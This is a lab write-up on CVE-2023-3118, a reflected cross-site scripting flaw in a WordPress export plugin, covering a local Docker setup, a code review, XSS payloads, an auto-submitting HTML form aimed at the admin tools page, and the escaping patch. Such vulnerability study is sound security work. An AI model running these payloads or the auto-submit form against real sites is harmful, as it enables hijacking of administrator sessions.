
On this page
Description
The Export All URLs WordPress plugin before 4.6 does not sanitise and escape a parameter before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Lab-Setup
mkdir cve-2023-3118
create docker-compose.yml file
version: '3.8'
services:
db:
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: MySQLP@ssw0rd
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
wordpress:
depends_on:
- db
image: wordpress:latest
ports:
- "8000:80"
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
volumes:
- wordpress_data:/var/www/html
volumes:
db_data:
wordpress_data:
then run docker-compose up to run the image

When you go to http://localhost:8000/ you will see the wordpress installation page
I searched for easy digital downloads
Go to Advanced View Section

The description of the vulnerability states that versions below 4.6 are vulnerable. We will download both 4.5 and 4.6 to analyze the patch for the vulnerability.

Let’s upload the vulnerable plugin to WordPress. Press the “Browse” button and choose export-all-urls.4.5.zip
Then press on the Install Now Button
Then press on the Activate Plugin Button
The plugin was installed successfully.

WhiteBox Testing
I will test the vulnerable version as we don’t know where the vulnerability is located
First, I will search for all GET methods in PHP files to see if any can be exploited.
grep --color=always -r '$_GET' --include="*.php" .
The line that appears in the output is used in WordPress security to verify a nonce (a number used once) and prevent CSRF (Cross-Site Request Forgery) attacks, so it is not useful for exploitation.

Let’s now search for all POST Methods
grep --color=always -r '$_POST' --include="*.php" .
As you see from the output the sanitize_text_field & sanitize_file_name functions are used in many lines. sanitize_text_field() is a WordPress built-in function that sanitize user input. sanitize_file_name is a WordPress built-in function that sanitizes a filename, replacing whitespace with dashes.
So the POST Methods that are inside sanitize_text_field & sanitize_file_name functions is useless to us.
Let’s remove the lines that contain this function.
grep --color=always -r '$_POST' --include="*.php" . | grep -v 'sanitize_text_field'
There are two interesting lines that accept user input and print it as it is without any sanitization.

<?php echo isset($_POST['starting-point']) ===> Print starting-point value
<?php echo isset($_POST['ending-point']) ===> Print ending-point value
When user input is submitted as is, the first vulnerability that comes to mind is XSS
Let’s see if we can exploit this
I will go to the plugin location from Tools
Then press on Show Filter Options and Show Advanced Options to see all the available inputs
I want to find the location of POST Parameters starting-point & ending-point at this page
Right Click - View Page Source ( CTRL + U )
And search for keyword starting-point. You will find it’s under Number of Posts keyword

To confirm that, press F12 to inspect the page. If you click on the box near the word From, you will find it corresponds to the starting-point POST parameter, and the box near To corresponds to the ending-point POST parameter.
Let’s enter any values and then press Export Now Button
I intercepted the request with BurpSuite

Let’s see how we can exploit this vulnerability. From page source this is where the starting-point & ending-point values are located
-
From: <input type="number" name="starting-point" placeholder="0" value="{starting-point-User-Input}">
-
To: <input type="number" name="ending-point" placeholder="500" value="{ending-point-User-Input}"> So we need to close the tags and put our payload.
Our First payload with the closed tags will be like that
From: <input type="number" name="starting-point" placeholder="0" value=""><script>alert(/XSS-starting-point/)</script><"">
Our Second payload with the closed tags will be like that
To: <input type="number" name="ending-point" placeholder="500" value=""><script>alert(/XSS-ending-point/)</script><"">
Let’s test this by sending our intercepted request in BurpSuite to the Repeater tab.
Then Right Click and choose Show response in browser
Copy the given url and submit it in the browser. As you can see, the XSS is triggered


We can automate this process by putting this HTML code in any page
<body onload="document.forms[0].submit()">
<form action="http://localhost:8000/wp-admin/tools.php?page=extract-all-urls-settings" method="POST">
<input type="hidden" name="starting-point" value='"><script>alert(/XSS-starting-point/)</script>' />
<input type="hidden" name="ending-point" value='"><script>alert(/XSS-ending-point/)</script>' />
<input type="submit" value="submit">
</form>
</body>
Go to Pages - Add New Page
Press on the ➕ Sign and type html in the search box and choose Custom HTML
Then put our html code and press Publish
Go to Pages and view the page where we placed our payload.
As you see the XSS is triggered to anyone who visits this page


Patch Diffing
Now, Let’s take a look at the patch that used to prevent the vulnerability, We can see the patch information on wordpress from here. As we can see, the vulnerable POST methods have been placed inside esc_attr, which is used for escaping HTML attributes.

Resources
https://nvd.nist.gov/vuln/detail/CVE-2023-3118 https://wpscan.com/vulnerability/8a9efc8d-561a-42c6-8e61-ae5c3be581ea/